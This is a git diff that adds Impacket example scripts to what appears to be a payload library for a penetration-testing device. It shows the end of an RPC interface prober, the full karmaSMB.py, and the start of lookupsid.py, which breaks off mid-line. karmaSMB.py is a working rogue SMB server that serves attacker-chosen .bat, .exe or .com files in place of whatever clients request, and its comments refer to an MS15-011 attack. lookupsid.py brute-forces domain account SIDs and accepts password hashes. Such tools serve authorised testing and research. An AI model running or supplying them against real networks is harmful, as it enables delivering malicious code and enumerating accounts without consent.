+d6d70ef0-0e3b-11cb-acc3-08002b1d29c3 v1.0 +d6d70ef0-0e3b-11cb-acc3-08002b1d29c4 v1.0 +d7f9e1c0-2247-11d1-ba89-00c04fd91268 v5.0 +d95afe70-a6d5-4259-822e-2c84da1ddb0d v1.0 +dd490425-5325-4565-b774-7e27d6c09c24 v1.0 +e1af8308-5d1f-11c9-91a4-08002b14a0fa v3.0 +e248d0b8-bf15-11cf-8c5e-08002bb49649 v2.0 +e33c0cc4-0482-101a-bc0c-02608c6ba218 v1.0 +e3514235-4b06-11d1-ab04-00c04fc2dcd2 v4.0 +e60c73e6-88f9-11cf-9af1-0020af6e72f4 v2.0 +e67ab081-9844-3521-9d32-834f038001c0 v1.0 +e76ea56d-453f-11cf-bfec-08002be23f2f v2.0 +ea0a3165-4834-11d2-a6f8-00c04fa346cc v4.0 +eb658b8a-7a64-4ddc-9b8d-a92610db0206 v0.0 +ec02cae0-b9e0-11d2-be62-0020afeddf63 v1.0 +ecec0d70-a603-11d0-96b1-00a0c91ece30 v1.0 +ecec0d70-a603-11d0-96b1-00a0c91ece30 v2.0 +eff55e30-4ee2-11ce-a3c9-00aa00607271 v1.0 +f309ad18-d86a-11d0-a075-00c04fb68820 v0.0 +f50aac00-c7f3-428e-a022-a6b71bfb9d43 v1.0 +f5cc59b4-4264-101a-8c59-08002b2f8426 v1.1 +f5cc5a18-4264-101a-8c59-08002b2f8426 v56.0 +f5cc5a7c-4264-101a-8c59-08002b2f8426 v21.0 +f6beaff7-1e19-4fbb-9f8f-b89e2018337c v1.0 +f930c514-1215-11d3-99a5-00a0c9b61b04 v1.0 +fc13257d-5567-4dea-898d-c6f9c48415a0 v1.0 +fd7a0523-dc70-43dd-9b2e-9c5ed48225b1 v1.0 +fdb3a030-065f-11d1-bb9b-00a024ea5525 v1.0 +ffe561b8-bf15-11cf-8c5e-08002bb49649 v2.0 +""".splitlines() if line) +uuid_database = set((uuidstr.upper(), ver) for uuidstr, ver in uuid_database) + +# add the ones from ndrutils +k = KNOWN_UUIDS.keys()[0] +def fix_ndr_uuid(ndruuid): + assert len(ndruuid) == 18 + uuid = ndruuid[:16] + maj, min = struct.unpack("BB", ndruuid[16:]) + return uuid + struct.pack(" " + return 1 + + host = args[0] + port = int(args[1]) + + stringbinding = "ncacn_ip_tcp:%s" % host + trans = transport.DCERPCTransportFactory(stringbinding) + trans.set_dport(port) + + dce = trans.get_dce_rpc() + dce.connect() + + dce.bind(mgmt.MSRPC_UUID_MGMT) + + ifids = mgmt.hinq_if_ids(dce) + + uuidtups = set( + uuid.bin_to_uuidtup(ifids['if_id_vector']['if_id'][index]['Data'].getData()) + for index in range(ifids['if_id_vector']['count']) + ) + + dce.disconnect() + + probes = uuidtups | uuid_database + + for tup in sorted(probes): + + dce.connect() + + binuuid = uuid.uuidtup_to_bin(tup) + try: + dce.bind(binuuid) + except rpcrt.DCERPCException, e: + if str(e).find('abstract_syntax_not_supported') >= 0: + listening = False + else: + raise + else: + listening = True + + listed = tup in uuidtups + otherversion = any(tup[0] == uuidstr for uuidstr, ver in uuidtups) + if listed or listening: + print "%r: %s, %s" % ( + tup, + "listed" if listed else "other version listed" if otherversion else "not listed", + "listening" if listening else "not listening" + ) + if epm.KNOWN_PROTOCOLS.has_key(tup[0]): + print "Protocol: %s" % (epm.KNOWN_PROTOCOLS[tup[0]]) + else: + print "Procotol: N/A" + + if KNOWN_UUIDS.has_key(uuid.uuidtup_to_bin(tup)[:18]): + print "Provider: %s" % (KNOWN_UUIDS[uuid.uuidtup_to_bin(tup)[:18]]) + else: + print "Provider: N/A" + + +if __name__ == "__main__": + sys.exit(main(sys.argv[1:])) diff --git a/payloads/library/tools_installer/tools_to_install/impacket/examples/karmaSMB.py b/payloads/library/tools_installer/tools_to_install/impacket/examples/karmaSMB.py new file mode 100644 index 0000000..2088f5f --- /dev/null +++ b/payloads/library/tools_installer/tools_to_install/impacket/examples/karmaSMB.py @@ -0,0 +1,629 @@ +#!/usr/bin/env python +# Copyright (c) 2016 CORE Security Technologies +# +# This software is provided under under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Karma SMB +# +# Author: +# Alberto Solino (@agsolino) +# Original idea by @mubix +# +# Description: +# The idea of this script is to answer any file read request +# with a set of predefined contents based on the extension +# asked, regardless of the sharename and/or path. +# When executing this script w/o a config file the pathname +# file contents will be sent for every request. +# If a config file is specified, format should be this way: +# = +# for example: +# bat = /tmp/batchfile +# com = /tmp/comfile +# exe = /tmp/exefile +# +# The SMB2 support works with a caveat. If two different +# filenames at the same share are requested, the first +# one will work and the second one will not work if the request +# is performed right away. This seems related to the +# QUERY_DIRECTORY request, where we return the files available. +# In the first try, we return the file that was asked to open. +# In the second try, the client will NOT ask for another +# QUERY_DIRECTORY but will use the cached one. This time the new file +# is not there, so the client assumes it doesn't exist. +# After a few seconds, looks like the client cache is cleared and +# the operation works again. Further research is needed trying +# to avoid this from happening. +# +# SMB1 seems to be working fine on that scenario. +# +# ToDo: +# [ ] A lot of testing needed under different OSes. +# I'm still not sure how reliable this approach is. +# [ ] Add support for other SMB read commands. Right now just +# covering SMB_COM_NT_CREATE_ANDX +# [ ] Disable write request, now if the client tries to copy +# a file back to us, it will overwrite the files we're +# hosting. *CAREFUL!!!* +# + + +import sys +import os +import argparse +import logging +import ntpath +import ConfigParser +from threading import Thread + +from impacket.examples import logger +from impacket import smbserver, smb, version +import impacket.smb3structs as smb2 +from impacket.smb import FILE_OVERWRITE, FILE_OVERWRITE_IF, FILE_WRITE_DATA, FILE_APPEND_DATA, GENERIC_WRITE +from impacket.nt_errors import STATUS_USER_SESSION_DELETED, STATUS_SUCCESS, STATUS_ACCESS_DENIED, STATUS_NO_MORE_FILES, \ + STATUS_OBJECT_PATH_NOT_FOUND +from impacket.smbserver import SRVSServer, decodeSMBString, findFirst2, STATUS_SMB_BAD_TID, encodeSMBString, \ + getFileTime, queryPathInformation + + +class KarmaSMBServer(Thread): + def __init__(self, smb2Support = False): + Thread.__init__(self) + self.server = 0 + self.defaultFile = None + self.extensions = {} + + # Here we write a mini config for the server + smbConfig = ConfigParser.ConfigParser() + smbConfig.add_section('global') + smbConfig.set('global','server_name','server_name') + smbConfig.set('global','server_os','UNIX') + smbConfig.set('global','server_domain','WORKGROUP') + smbConfig.set('global','log_file','smb.log') + smbConfig.set('global','credentials_file','') + + # IPC always needed + smbConfig.add_section('IPC$') + smbConfig.set('IPC$','comment','Logon server share') + smbConfig.set('IPC$','read only','yes') + smbConfig.set('IPC$','share type','3') + smbConfig.set('IPC$','path','') + + # NETLOGON always needed + smbConfig.add_section('NETLOGON') + smbConfig.set('NETLOGON','comment','Logon server share') + smbConfig.set('NETLOGON','read only','no') + smbConfig.set('NETLOGON','share type','0') + smbConfig.set('NETLOGON','path','') + + # SYSVOL always needed + smbConfig.add_section('SYSVOL') + smbConfig.set('SYSVOL','comment','') + smbConfig.set('SYSVOL','read only','no') + smbConfig.set('SYSVOL','share type','0') + smbConfig.set('SYSVOL','path','') + + if smb2Support: + smbConfig.set("global", "SMB2Support", "True") + + self.server = smbserver.SMBSERVER(('0.0.0.0',445), config_parser = smbConfig) + self.server.processConfigFile() + + # Unregistering some dangerous and unwanted commands + self.server.unregisterSmbCommand(smb.SMB.SMB_COM_CREATE_DIRECTORY) + self.server.unregisterSmbCommand(smb.SMB.SMB_COM_DELETE_DIRECTORY) + self.server.unregisterSmbCommand(smb.SMB.SMB_COM_RENAME) + self.server.unregisterSmbCommand(smb.SMB.SMB_COM_DELETE) + self.server.unregisterSmbCommand(smb.SMB.SMB_COM_WRITE) + self.server.unregisterSmbCommand(smb.SMB.SMB_COM_WRITE_ANDX) + + self.server.unregisterSmb2Command(smb2.SMB2_WRITE) + + self.origsmbComNtCreateAndX = self.server.hookSmbCommand(smb.SMB.SMB_COM_NT_CREATE_ANDX, self.smbComNtCreateAndX) + self.origsmbComTreeConnectAndX = self.server.hookSmbCommand(smb.SMB.SMB_COM_TREE_CONNECT_ANDX, self.smbComTreeConnectAndX) + self.origQueryPathInformation = self.server.hookTransaction2(smb.SMB.TRANS2_QUERY_PATH_INFORMATION, self.queryPathInformation) + self.origFindFirst2 = self.server.hookTransaction2(smb.SMB.TRANS2_FIND_FIRST2, self.findFirst2) + + # And the same for SMB2 + self.origsmb2TreeConnect = self.server.hookSmb2Command(smb2.SMB2_TREE_CONNECT, self.smb2TreeConnect) + self.origsmb2Create = self.server.hookSmb2Command(smb2.SMB2_CREATE, self.smb2Create) + self.origsmb2QueryDirectory = self.server.hookSmb2Command(smb2.SMB2_QUERY_DIRECTORY, self.smb2QueryDirectory) + self.origsmb2Read = self.server.hookSmb2Command(smb2.SMB2_READ, self.smb2Read) + self.origsmb2Close = self.server.hookSmb2Command(smb2.SMB2_CLOSE, self.smb2Close) + + # Now we have to register the MS-SRVS server. This specially important for + # Windows 7+ and Mavericks clients since they WONT (specially OSX) + # ask for shares using MS-RAP. + + self.__srvsServer = SRVSServer() + self.__srvsServer.daemon = True + self.server.registerNamedPipe('srvsvc',('127.0.0.1',self.__srvsServer.getListenPort())) + + def findFirst2(self, connId, smbServer, recvPacket, parameters, data, maxDataCount): + connData = smbServer.getConnectionData(connId) + + respSetup = '' + respParameters = '' + respData = '' + findFirst2Parameters = smb.SMBFindFirst2_Parameters( recvPacket['Flags2'], data = parameters) + + # 1. Let's grab the extension and map the file's contents we will deliver + origPathName = os.path.normpath(decodeSMBString(recvPacket['Flags2'],findFirst2Parameters['FileName']).replace('\\','/')) + origFileName = os.path.basename(origPathName) + + _, origPathNameExtension = os.path.splitext(origPathName) + origPathNameExtension = origPathNameExtension.upper()[1:] + + if self.extensions.has_key(origPathNameExtension.upper()): + targetFile = self.extensions[origPathNameExtension.upper()] + else: + targetFile = self.defaultFile + + if connData['ConnectedShares'].has_key(recvPacket['Tid']): + path = connData['ConnectedShares'][recvPacket['Tid']]['path'] + + # 2. We call the normal findFirst2 call, but with our targetFile + searchResult, searchCount, errorCode = findFirst2(path, + targetFile, + findFirst2Parameters['InformationLevel'], + findFirst2Parameters['SearchAttributes'] ) + + respParameters = smb.SMBFindFirst2Response_Parameters() + endOfSearch = 1 + sid = 0x80 # default SID + searchCount = 0 + totalData = 0 + for i in enumerate(searchResult): + #i[1].dump() + try: + # 3. And we restore the original filename requested ;) + i[1]['FileName'] = encodeSMBString( flags = recvPacket['Flags2'], text = origFileName) + except: + pass + + data = i[1].getData() + lenData = len(data) + if (totalData+lenData) >= maxDataCount or (i[0]+1) > findFirst2Parameters['SearchCount']: + # We gotta stop here and continue on a find_next2 + endOfSearch = 0 + # Simple way to generate a fid + if len(connData['SIDs']) == 0: + sid = 1 + else: + sid = connData['SIDs'].keys()[-1] + 1 + # Store the remaining search results in the ConnData SID + connData['SIDs'][sid] = searchResult[i[0]:] + respParameters['LastNameOffset'] = totalData + break + else: + searchCount +=1 + respData += data + totalData += lenData + + + respParameters['SID'] = sid + respParameters['EndOfSearch'] = endOfSearch + respParameters['SearchCount'] = searchCount + else: + errorCode = STATUS_SMB_BAD_TID + + smbServer.setConnectionData(connId, connData) + + return respSetup, respParameters, respData, errorCode + + def smbComNtCreateAndX(self, connId, smbServer, SMBCommand, recvPacket): + connData = smbServer.getConnectionData(connId) + + ntCreateAndXParameters = smb.SMBNtCreateAndX_Parameters(SMBCommand['Parameters']) + ntCreateAndXData = smb.SMBNtCreateAndX_Data( flags = recvPacket['Flags2'], data = SMBCommand['Data']) + + respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_NT_CREATE_ANDX) + + #ntCreateAndXParameters.dump() + + # Let's try to avoid allowing write requests from the client back to us + # not 100% bulletproof, plus also the client might be using other SMB + # calls (e.g. SMB_COM_WRITE) + createOptions = ntCreateAndXParameters['CreateOptions'] + if createOptions & smb.FILE_DELETE_ON_CLOSE == smb.FILE_DELETE_ON_CLOSE: + errorCode = STATUS_ACCESS_DENIED + elif ntCreateAndXParameters['Disposition'] & smb.FILE_OVERWRITE == FILE_OVERWRITE: + errorCode = STATUS_ACCESS_DENIED + elif ntCreateAndXParameters['Disposition'] & smb.FILE_OVERWRITE_IF == FILE_OVERWRITE_IF: + errorCode = STATUS_ACCESS_DENIED + elif ntCreateAndXParameters['AccessMask'] & smb.FILE_WRITE_DATA == FILE_WRITE_DATA: + errorCode = STATUS_ACCESS_DENIED + elif ntCreateAndXParameters['AccessMask'] & smb.FILE_APPEND_DATA == FILE_APPEND_DATA: + errorCode = STATUS_ACCESS_DENIED + elif ntCreateAndXParameters['AccessMask'] & smb.GENERIC_WRITE == GENERIC_WRITE: + errorCode = STATUS_ACCESS_DENIED + elif ntCreateAndXParameters['AccessMask'] & 0x10000 == 0x10000: + errorCode = STATUS_ACCESS_DENIED + else: + errorCode = STATUS_SUCCESS + + if errorCode == STATUS_ACCESS_DENIED: + return [respSMBCommand], None, errorCode + + # 1. Let's grab the extension and map the file's contents we will deliver + origPathName = os.path.normpath(decodeSMBString(recvPacket['Flags2'],ntCreateAndXData['FileName']).replace('\\','/')) + + _, origPathNameExtension = os.path.splitext(origPathName) + origPathNameExtension = origPathNameExtension.upper()[1:] + + if self.extensions.has_key(origPathNameExtension.upper()): + targetFile = self.extensions[origPathNameExtension.upper()] + else: + targetFile = self.defaultFile + + # 2. We change the filename in the request for our targetFile + ntCreateAndXData['FileName'] = encodeSMBString( flags = recvPacket['Flags2'], text = targetFile) + SMBCommand['Data'] = str(ntCreateAndXData) + smbServer.log("%s is asking for %s. Delivering %s" % (connData['ClientIP'], origPathName,targetFile),logging.INFO) + + # 3. We call the original call with our modified data + return self.origsmbComNtCreateAndX(connId, smbServer, SMBCommand, recvPacket) + + def queryPathInformation(self, connId, smbServer, recvPacket, parameters, data, maxDataCount = 0): + # The trick we play here is that Windows clients first ask for the file + # and then it asks for the directory containing the file. + # It is important to answer the right questions for the attack to work + + connData = smbServer.getConnectionData(connId) + + respSetup = '' + respParameters = '' + respData = '' + errorCode = 0 + + queryPathInfoParameters = smb.SMBQueryPathInformation_Parameters(flags = recvPacket['Flags2'], data = parameters) + + if connData['ConnectedShares'].has_key(recvPacket['Tid']): + path = '' + try: + origPathName = decodeSMBString(recvPacket['Flags2'], queryPathInfoParameters['FileName']) + origPathName = os.path.normpath(origPathName.replace('\\','/')) + + if connData.has_key('MS15011') is False: + connData['MS15011'] = {} + + smbServer.log("Client is asking for QueryPathInformation for: %s" % origPathName,logging.INFO) + if connData['MS15011'].has_key(origPathName) or origPathName == '.': + # We already processed this entry, now it's asking for a directory + infoRecord, errorCode = queryPathInformation(path, '/', queryPathInfoParameters['InformationLevel']) + else: + # First time asked, asking for the file + infoRecord, errorCode = queryPathInformation(path, self.defaultFile, queryPathInfoParameters['InformationLevel']) + connData['MS15011'][os.path.dirname(origPathName)] = infoRecord + except Exception, e: + #import traceback + #traceback.print_exc() + smbServer.log("queryPathInformation: %s" % e,logging.ERROR) + + if infoRecord is not None: + respParameters = smb.SMBQueryPathInformationResponse_Parameters() + respData = infoRecord + else: + errorCode = STATUS_SMB_BAD_TID + + smbServer.setConnectionData(connId, connData) + + return respSetup, respParameters, respData, errorCode + + def smb2Read(self, connId, smbServer, recvPacket): + connData = smbServer.getConnectionData(connId) + connData['MS15011']['StopConnection'] = True + smbServer.setConnectionData(connId, connData) + return self.origsmb2Read(connId, smbServer, recvPacket) + + def smb2Close(self, connId, smbServer, recvPacket): + connData = smbServer.getConnectionData(connId) + # We're closing the connection trying to flush the client's + # cache. + if connData['MS15011']['StopConnection'] is True: + return [smb2.SMB2Error()], None, STATUS_USER_SESSION_DELETED + return self.origsmb2Close(connId, smbServer, recvPacket) + + def smb2Create(self, connId, smbServer, recvPacket): + connData = smbServer.getConnectionData(connId) + + ntCreateRequest = smb2.SMB2Create(recvPacket['Data']) + + # Let's try to avoid allowing write requests from the client back to us + # not 100% bulletproof, plus also the client might be using other SMB + # calls + createOptions = ntCreateRequest['CreateOptions'] + if createOptions & smb2.FILE_DELETE_ON_CLOSE == smb2.FILE_DELETE_ON_CLOSE: + errorCode = STATUS_ACCESS_DENIED + elif ntCreateRequest['CreateDisposition'] & smb2.FILE_OVERWRITE == smb2.FILE_OVERWRITE: + errorCode = STATUS_ACCESS_DENIED + elif ntCreateRequest['CreateDisposition'] & smb2.FILE_OVERWRITE_IF == smb2.FILE_OVERWRITE_IF: + errorCode = STATUS_ACCESS_DENIED + elif ntCreateRequest['DesiredAccess'] & smb2.FILE_WRITE_DATA == smb2.FILE_WRITE_DATA: + errorCode = STATUS_ACCESS_DENIED + elif ntCreateRequest['DesiredAccess'] & smb2.FILE_APPEND_DATA == smb2.FILE_APPEND_DATA: + errorCode = STATUS_ACCESS_DENIED + elif ntCreateRequest['DesiredAccess'] & smb2.GENERIC_WRITE == smb2.GENERIC_WRITE: + errorCode = STATUS_ACCESS_DENIED + elif ntCreateRequest['DesiredAccess'] & 0x10000 == 0x10000: + errorCode = STATUS_ACCESS_DENIED + else: + errorCode = STATUS_SUCCESS + + if errorCode == STATUS_ACCESS_DENIED: + return [smb2.SMB2Error()], None, errorCode + + # 1. Let's grab the extension and map the file's contents we will deliver + origPathName = os.path.normpath(ntCreateRequest['Buffer'][:ntCreateRequest['NameLength']].decode('utf-16le').replace('\\','/')) + + _, origPathNameExtension = os.path.splitext(origPathName) + origPathNameExtension = origPathNameExtension.upper()[1:] + + # Are we being asked for a directory? + if (createOptions & smb2.FILE_DIRECTORY_FILE) == 0: + if self.extensions.has_key(origPathNameExtension.upper()): + targetFile = self.extensions[origPathNameExtension.upper()] + else: + targetFile = self.defaultFile + connData['MS15011']['FileData'] = (os.path.basename(origPathName), targetFile) + smbServer.log("%s is asking for %s. Delivering %s" % (connData['ClientIP'], origPathName,targetFile),logging.INFO) + else: + targetFile = '/' + + # 2. We change the filename in the request for our targetFile + try: + ntCreateRequest['Buffer'] = targetFile.encode('utf-16le') + except UnicodeDecodeError: + import sys + ntCreateRequest['Buffer'] = targetFile.decode(sys.getfilesystemencoding()).encode('utf-16le') + ntCreateRequest['NameLength'] = len(targetFile)*2 + recvPacket['Data'] = str(ntCreateRequest) + + # 3. We call the original call with our modified data + return self.origsmb2Create(connId, smbServer, recvPacket) + + def smb2QueryDirectory(self, connId, smbServer, recvPacket): + # Windows clients with SMB2 will also perform a QueryDirectory + # expecting to get the filename asked. So we deliver it :) + connData = smbServer.getConnectionData(connId) + + respSMBCommand = smb2.SMB2QueryDirectory_Response() + #queryDirectoryRequest = smb2.SMB2QueryDirectory(recvPacket['Data']) + + errorCode = 0xff + respSMBCommand['Buffer'] = '\x00' + + errorCode = STATUS_SUCCESS + + #if (queryDirectoryRequest['Flags'] & smb2.SL_RETURN_SINGLE_ENTRY) == 0: + # return [smb2.SMB2Error()], None, STATUS_NOT_SUPPORTED + + if connData['MS15011']['FindDone'] is True: + + connData['MS15011']['FindDone'] = False + smbServer.setConnectionData(connId, connData) + return [smb2.SMB2Error()], None, STATUS_NO_MORE_FILES + else: + origName, targetFile = connData['MS15011']['FileData'] + (mode, ino, dev, nlink, uid, gid, size, atime, mtime, ctime) = os.stat(targetFile) + + infoRecord = smb.SMBFindFileIdBothDirectoryInfo( smb.SMB.FLAGS2_UNICODE ) + infoRecord['ExtFileAttributes'] = smb.ATTR_NORMAL | smb.ATTR_ARCHIVE + + infoRecord['EaSize'] = 0 + infoRecord['EndOfFile'] = size + infoRecord['AllocationSize'] = size + infoRecord['CreationTime'] = getFileTime(ctime) + infoRecord['LastAccessTime'] = getFileTime(atime) + infoRecord['LastWriteTime'] = getFileTime(mtime) + infoRecord['LastChangeTime'] = getFileTime(mtime) + infoRecord['ShortName'] = '\x00'*24 + #infoRecord['FileName'] = os.path.basename(origName).encode('utf-16le') + infoRecord['FileName'] = origName.encode('utf-16le') + padLen = (8-(len(infoRecord) % 8)) % 8 + infoRecord['NextEntryOffset'] = 0 + + respSMBCommand['OutputBufferOffset'] = 0x48 + respSMBCommand['OutputBufferLength'] = len(infoRecord.getData()) + respSMBCommand['Buffer'] = infoRecord.getData() + '\xaa'*padLen + connData['MS15011']['FindDone'] = True + + smbServer.setConnectionData(connId, connData) + return [respSMBCommand], None, errorCode + + def smb2TreeConnect(self, connId, smbServer, recvPacket): + connData = smbServer.getConnectionData(connId) + + respPacket = smb2.SMB2Packet() + respPacket['Flags'] = smb2.SMB2_FLAGS_SERVER_TO_REDIR + respPacket['Status'] = STATUS_SUCCESS + respPacket['CreditRequestResponse'] = 1 + respPacket['Command'] = recvPacket['Command'] + respPacket['SessionID'] = connData['Uid'] + respPacket['Reserved'] = recvPacket['Reserved'] + respPacket['MessageID'] = recvPacket['MessageID'] + respPacket['TreeID'] = recvPacket['TreeID'] + + respSMBCommand = smb2.SMB2TreeConnect_Response() + + treeConnectRequest = smb2.SMB2TreeConnect(recvPacket['Data']) + + errorCode = STATUS_SUCCESS + + ## Process here the request, does the share exist? + path = str(recvPacket)[treeConnectRequest['PathOffset']:][:treeConnectRequest['PathLength']] + UNCOrShare = path.decode('utf-16le') + + # Is this a UNC? + if ntpath.ismount(UNCOrShare): + path = UNCOrShare.split('\\')[3] + else: + path = ntpath.basename(UNCOrShare) + + # We won't search for the share.. all of them exist :P + #share = searchShare(connId, path.upper(), smbServer) + connData['MS15011'] = {} + connData['MS15011']['FindDone'] = False + connData['MS15011']['StopConnection'] = False + share = {} + if share is not None: + # Simple way to generate a Tid + if len(connData['ConnectedShares']) == 0: + tid = 1 + else: + tid = connData['ConnectedShares'].keys()[-1] + 1 + connData['ConnectedShares'][tid] = share + connData['ConnectedShares'][tid]['path'] = '/' + connData['ConnectedShares'][tid]['shareName'] = path + respPacket['TreeID'] = tid + #smbServer.log("Connecting Share(%d:%s)" % (tid,path)) + else: + smbServer.log("SMB2_TREE_CONNECT not found %s" % path, logging.ERROR) + errorCode = STATUS_OBJECT_PATH_NOT_FOUND + respPacket['Status'] = errorCode + ## + + if path == 'IPC$': + respSMBCommand['ShareType'] = smb2.SMB2_SHARE_TYPE_PIPE + respSMBCommand['ShareFlags'] = 0x30 + else: + respSMBCommand['ShareType'] = smb2.SMB2_SHARE_TYPE_DISK + respSMBCommand['ShareFlags'] = 0x0 + + respSMBCommand['Capabilities'] = 0 + respSMBCommand['MaximalAccess'] = 0x011f01ff + + respPacket['Data'] = respSMBCommand + + smbServer.setConnectionData(connId, connData) + + return None, [respPacket], errorCode + + def smbComTreeConnectAndX(self, connId, smbServer, SMBCommand, recvPacket): + connData = smbServer.getConnectionData(connId) + + resp = smb.NewSMBPacket() + resp['Flags1'] = smb.SMB.FLAGS1_REPLY + resp['Flags2'] = smb.SMB.FLAGS2_EXTENDED_SECURITY | smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_LONG_NAMES | \ + recvPacket['Flags2'] & smb.SMB.FLAGS2_UNICODE + + resp['Tid'] = recvPacket['Tid'] + resp['Mid'] = recvPacket['Mid'] + resp['Pid'] = connData['Pid'] + + respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_TREE_CONNECT_ANDX) + respParameters = smb.SMBTreeConnectAndXResponse_Parameters() + respData = smb.SMBTreeConnectAndXResponse_Data() + + treeConnectAndXParameters = smb.SMBTreeConnectAndX_Parameters(SMBCommand['Parameters']) + + if treeConnectAndXParameters['Flags'] & 0x8: + respParameters = smb.SMBTreeConnectAndXExtendedResponse_Parameters() + + treeConnectAndXData = smb.SMBTreeConnectAndX_Data( flags = recvPacket['Flags2'] ) + treeConnectAndXData['_PasswordLength'] = treeConnectAndXParameters['PasswordLength'] + treeConnectAndXData.fromString(SMBCommand['Data']) + + errorCode = STATUS_SUCCESS + + UNCOrShare = decodeSMBString(recvPacket['Flags2'], treeConnectAndXData['Path']) + + # Is this a UNC? + if ntpath.ismount(UNCOrShare): + path = UNCOrShare.split('\\')[3] + else: + path = ntpath.basename(UNCOrShare) + + # We won't search for the share.. all of them exist :P + smbServer.log("TreeConnectAndX request for %s" % path, logging.INFO) + #share = searchShare(connId, path, smbServer) + share = {} + # Simple way to generate a Tid + if len(connData['ConnectedShares']) == 0: + tid = 1 + else: + tid = connData['ConnectedShares'].keys()[-1] + 1 + connData['ConnectedShares'][tid] = share + connData['ConnectedShares'][tid]['path'] = '/' + connData['ConnectedShares'][tid]['shareName'] = path + resp['Tid'] = tid + #smbServer.log("Connecting Share(%d:%s)" % (tid,path)) + + respParameters['OptionalSupport'] = smb.SMB.SMB_SUPPORT_SEARCH_BITS + + if path == 'IPC$': + respData['Service'] = 'IPC' + else: + respData['Service'] = path + respData['PadLen'] = 0 + respData['NativeFileSystem'] = encodeSMBString(recvPacket['Flags2'], 'NTFS' ) + + respSMBCommand['Parameters'] = respParameters + respSMBCommand['Data'] = respData + + resp['Uid'] = connData['Uid'] + resp.addCommand(respSMBCommand) + smbServer.setConnectionData(connId, connData) + + return None, [resp], errorCode + + def _start(self): + self.server.serve_forever() + + def run(self): + logging.info("Setting up SMB Server") + self._start() + + def setDefaultFile(self, filename): + self.defaultFile = filename + + def setExtensionsConfig(self, filename): + for line in filename.readlines(): + line = line.strip('\r\n ') + if line.startswith('#') is not True and len(line) > 0: + extension, pathName = line.split('=') + self.extensions[extension.strip().upper()] = os.path.normpath(pathName.strip()) + +# Process command-line arguments. +if __name__ == '__main__': + # Init the example's logger theme + logger.init() + print version.BANNER + parser = argparse.ArgumentParser(add_help = False, description = "For every file request received, this module will " + "return the pathname contents") + parser.add_argument("--help", action="help", help='show this help message and exit') + parser.add_argument('fileName', action='store', metavar = 'pathname', help="Pathname's contents to deliver to SMB " + "clients") + parser.add_argument('-config', type=argparse.FileType('r'), metavar = 'pathname', help='config file name to map ' + 'extensions to files to deliver. For those extensions not present, pathname will be delivered') + parser.add_argument('-smb2support', action='store_true', default=False, help='SMB2 Support (experimental!)') + + + if len(sys.argv)==1: + parser.print_help() + sys.exit(1) + + try: + options = parser.parse_args() + except Exception, e: + logging.critical(str(e)) + sys.exit(1) + + s = KarmaSMBServer(options.smb2support) + s.setDefaultFile(os.path.normpath(options.fileName)) + if options.config is not None: + s.setExtensionsConfig(options.config) + + s.start() + + logging.info("Servers started, waiting for connections") + while True: + try: + sys.stdin.read() + except KeyboardInterrupt: + sys.exit(1) + else: + pass + diff --git a/payloads/library/tools_installer/tools_to_install/impacket/examples/lookupsid.py b/payloads/library/tools_installer/tools_to_install/impacket/examples/lookupsid.py new file mode 100644 index 0000000..01b4cd2 --- /dev/null +++ b/payloads/library/tools_installer/tools_to_install/impacket/examples/lookupsid.py @@ -0,0 +1,187 @@ +#!/usr/bin/env python +# Copyright (c) 2012-2016 CORE Security Technologies +# +# This software is provided under under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# DCE/RPC lookup sid brute forcer example +# +# Author: +# Alberto Solino (@agsolino) +# +# Reference for: +# DCE/RPC [MS-LSAT] + +import sys +import logging +import argparse +import codecs + +from impacket.examples import logger +from impacket import version +from impacket.dcerpc.v5 import transport, lsat, lsad +from impacket.dcerpc.v5.samr import SID_NAME_USE +from impacket.dcerpc.v5.dtypes import MAXIMUM_ALLOWED +from impacket.dcerpc.v5.rpcrt import DCERPCException + + +class LSALookupSid: + KNOWN_PROTOCOLS = { + 135: {'bindstr': r'ncacn_ip_tcp:%s', 'set_host': False}, + 139: {'bindstr': r'ncacn_np:%s[\pipe\lsarpc]', 'set_host': True}, + 445: {'bindstr': r'ncacn_np:%s[\pipe\lsarpc]', 'set_host': True}, + } + + def __init__(self, username, password, domain, port = None, + hashes = None, maxRid=4000): + + self.__username = username + self.__password = password + self.__port = port + self.__maxRid = int(maxRid) + self.__domain = domain + self.__lmhash = '' + self.__nthash = '' + if hashes is not None: + self.__lmhash, self.__nthash = hashes.split(':') + + def dump(self, remoteName, remoteHost): + + logging.info('Brute forcing SIDs at %s' % remoteName) + + stringbinding = self.KNOWN_PROTOCOLS[self.__port]['bindstr'] % remoteName + logging.info('StringBinding %s'%stringbinding) + rpctransport = transport.DCERPCTransportFactory(stringbinding) + rpctransport.set_dport(self.__port) + + if self.KNOWN_PROTOCOLS[self.__port]['set_host']: + rpctransport.setRemoteHost(remoteHost) + + if hasattr(rpctransport, 'set_credentials'): + # This method exists only for selected protocol sequences. + rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) + + try: + self.__bruteForce(rpctransport, self.__maxRid) + except Exception, e: + #import traceback + #print traceback.print_exc() + logging.critical(str(e)) + raise + + def __bruteForce(self, rpctransport, maxRid): + dce = rpctransport.get_dce_rpc() + entries = [] + dce.connect() + + # Want encryption? Uncomment next line + # But make SIMULTANEOUS variable <= 100 + #dce.set_auth_level(ntlm.NTLM_AUTH_PKT_PRIVACY) + + # Want fragmentation? Uncomment next line + #dce.set_max_fragment_size(32) + + dce.bind(lsat.MSRPC_UUID_LSAT) + resp = lsat.hLsarOpenPolicy2(dce, MAXIMUM_ALLOWED | lsat.POLICY_LOOKUP_NAMES) + policyHandle = resp['PolicyHandle'] + + resp = lsad.hLsarQueryInformationPolicy2(dce, policyHandle, lsad.POLICY_INFORMATION_CLASS.PolicyAccountDomainInformation) + + domainSid = resp['PolicyInformation']['PolicyAccountDomainInfo']['DomainSid'].formatCanonical() + + soFar = 0 + SIMULTANEOUS = 1000 + for j in range(maxRid/SIMULTANEOUS+1): + if (maxRid - soFar) / SIMULTANEOUS == 0: + sidsToCheck = (maxRid - soFar) % SIMULTANEOUS + else: + sidsToCheck = SIMULTANEOUS + + if sidsToCheck == 0: + break + + sids = list() + for i in xrange(soFar, soFar+sidsToCheck): + sids.append(domainSid + '-%d' % i) + try: + lsat.hLsarLookupSids(dce, policyHandle, sids,lsat.LSAP_LOOKUP_LEVEL.LsapLookupWksta) + except 